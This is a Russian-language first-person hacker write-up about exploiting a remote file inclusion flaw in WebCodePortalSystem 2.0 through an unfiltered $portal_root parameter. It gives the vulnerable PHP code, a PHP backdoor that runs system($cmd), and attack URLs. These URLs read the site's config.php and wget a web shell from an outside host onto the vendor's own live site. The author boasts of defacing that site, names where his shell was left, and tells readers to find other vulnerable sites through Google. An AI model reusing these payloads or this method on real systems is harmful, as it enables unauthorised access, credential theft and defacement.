Дело было вечером, делать было нечего, сидел я на больничном и вдруг вздумалось
заняться багоискательством. Жертвой я выбрал WebCodePortalSystem v. 2.0 Release2 - самый последний на это время. Дело в том, что этот удобный двиг я хотел поставить на свой сайт, и вовремя передумал 😉
Я открыл каталог с исходниками движка. Мой опыт говорил
о том, что узнать о наличии багов проще всего в
index.php. Первое, что бросилось в глаза, была переменная
$portal_root. Вот бажный код:
include("./inc/php_function.php");
if(@$_COOKIE[$c_pref.'id_wcps'] && @$auth=='') {include("$portal_root/inc/autcookie.php");}
if (@$nma=="" || !file_exists ("$portal_root/mod/$nma")) {$nma="default";}
if (@$fla=="" || !file_exists ("$portal_root/mod/$nma/$fla.php")) {$fla="index";}
if($portal_close=="1" && $urov!=1){
print $portal_closetext;
exit;
Все ясно, переменная не фильтруется, значит будем делать так:
http://wcps.ru/index.php?portal_root=aaaaaaaaaaaaaaaaaaa
В итоге я увидел, что-то типа этого:
Warning: main(aaaaaaaaaaaaaaaaaaaaaa/inc/smtp.php): failed to open stream: No such file or directory in z:\home\wcps.ru\www\inc\php_function.php on line 126
Все, сайт уязвим, это обычный include баг! Я создал файл hack/inc/smtp.php на своем сайте.
echo "OK! SYSTEM HACKED !!!
it found by DreAmeRz )www.ssquad.com " ;
system ($cmd) ;
?>
Залез в Opera, поставил свежий прокси, и выполнил вот такой запрос:
http://wcps.ru/index.php?portal_root=http://hack.narod.ru/ hack&cmd=pwd;id;cat
inc/config.php;
В итоге получил все, что нужно для успешной атаки 🙂
Ну и задефейсил их сайт, собственно:
http://wcps.ru/index.php?portal_root=http://hack.narod.ru/ hack&cmd=cd
../images/icon/;wget http://hack.narod.ru/hack/phporg.php;pwd;
Вот и все, запускаю phporg.php (http://php.spb.ru/remview/) и редактирую
index.php. Ну и шелл остается по адресу:
http://wcps.ru/images/icon/phporg.php
З.Ы. Уже много сайтов работают под этой системой, найти их
проще простого, сделай запрос в Google...